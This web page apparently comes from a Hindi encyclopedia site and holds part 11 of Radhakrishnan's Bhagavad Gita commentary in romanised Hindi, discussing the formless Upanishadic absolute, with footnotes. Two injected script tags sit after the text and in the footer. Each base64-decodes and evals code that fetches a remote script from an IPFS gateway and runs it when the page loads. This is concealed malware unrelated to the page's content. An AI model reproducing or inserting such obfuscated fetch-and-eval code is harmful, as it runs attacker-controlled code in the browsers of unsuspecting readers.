भगवद्गीता -राधाकृष्णन भाग-11
jis jijnasa ke karan pleto ko akademi ke jyotishiyoan ko yah adesh dene ki prerana mili ki ve prakat dikh p dane vali vastuoan (pratitiyoan) se bachean, usi ruchi ke karan upanishadoan ke rrishiyoan ko sansar ko arth poorn samajhane ki prerana mili. taittiriy upanishadh ke shabdoan mean— vah gunoan se rahit haian, aangoan se rahit hai, ajat (jo utpann nahian hua) hai, shashvat hai, nity hai aur nishkarm hai.” dekhie shantiparv 339, 21-38. yah “ajnan ka badal hai” ya jise eriyopegait ne ‘atyant diptiman andhakar’ kaha hai, ya aikahart ke shabdoan mean, “divyata ka niahshabd maroosthal... jo thik-thik koee astitv nahian hai.”aiangelas silesiyas se tulana kijieah “paramatma keval kuchh nahian hai. usaka sambandh n is kal se aur n is sthan se hai.” plautinas se bhi tulana kijieah “vah sabaka janak hote hue bhi un sabamean se koee nahian hai. n vah vastu hai, n gun, n buddhi, n atmaah vah n gati mean hai, n sthirata mean hai, n desh mean hai, n kal mean hai; vah apani paribhasha ap hi hai. usaka roop nirala hi hai, ya aur thik kaha jae, to vah roopahin hai; vah usase pahale vidyaman tha, jab roop ya gati ya vishram utpann hua. ye sab vastuean astitv se sambandhit haian aur astitv ko bahuvidh banati hai.” (ainids, maikkaina-krit aangrezi anuvad 6, 9). “bhagavanh vah hai, jisase ye sab vastuean utpann hoti haian, jisase ye sab jivit rahati haian aur jisamean vida hote samay ye sab vilin ho jati haian.” ved ke anusar “paramatma vah hai, jo agni mean hai aur jo jal mean hai, jisane likhit vishv ko vyapt kiya hua hai. use, jo ki paudhoan mean aur pe doan mean hai, ham barambar pranam karate haian.” [1]“yadi yah sarvochch anand akash mean n hota, to kaun parishram karata aur kaun jivit rahata?”[2]eeshvaravadi yah svar shvetashvatar upanishadh mean aur bhi pramukh ho uthata hai. “vah jo ek hai aur jisaka koee roop-rang nahian hai, apani bahuvidh shakti ko dharan karake kisi gupt uddeshy se anek roop-rangoan ko banata hai aur adi mean aur ant mean vishv usi mean vilin ho jata hai. vah paramatma hai. vah hamean aisa jnan pradan kare, jo shubh karmoan ki or le jata hai.”[3]phir “too stri hai, too hi purush haiah too hi yuvak hai aur yuvati bhi hai; too hi vriddh purush hai, jo lathi lekar l dakh data chalata hai; too hi navajat shishu hai; too sab dishaoan ki or mukh kie hue hai.”[4]phir, “usaka roop dekha nahian ja sakata. aankh se use koee nahian dekhata. jo log use is prakar hriday dvara aur man dvara jan lete haian ki usaka nivas hriday mean hai, ve amar ho jate haian.”[5]vah sarvabhaum paramatma hai, jo apane-ap hi yah vishv bhi hai, jise usane apane hi andar dharan kiya hua hai. vah hamare andar vidyaman prakash hai, ‘hridyanhtarjhyotiah’. vah bhagavanh hai, jivan aur mrityu jisaki chhaya haian.[6]
| « pichhe | age » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑
yo devoagno yopsu yo vishv bhuvanamavivesh,
yo oshadhishu yo vanaspatishu tasmai devay namonamah. - ↑ ko hnevanyath kah pranyath yadesh akash anando n syath?
- ↑ 4, 1
- ↑ 4, 3
- ↑ 4, 20
- ↑ rrigved 10, 121, 2: sath hi dekhie kathopanishadh 3, 1. dyootaronomi se tulana kijieah“maian marata hooan aur jilata hooan.” 32, 39
sanbandhit lekh
-
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>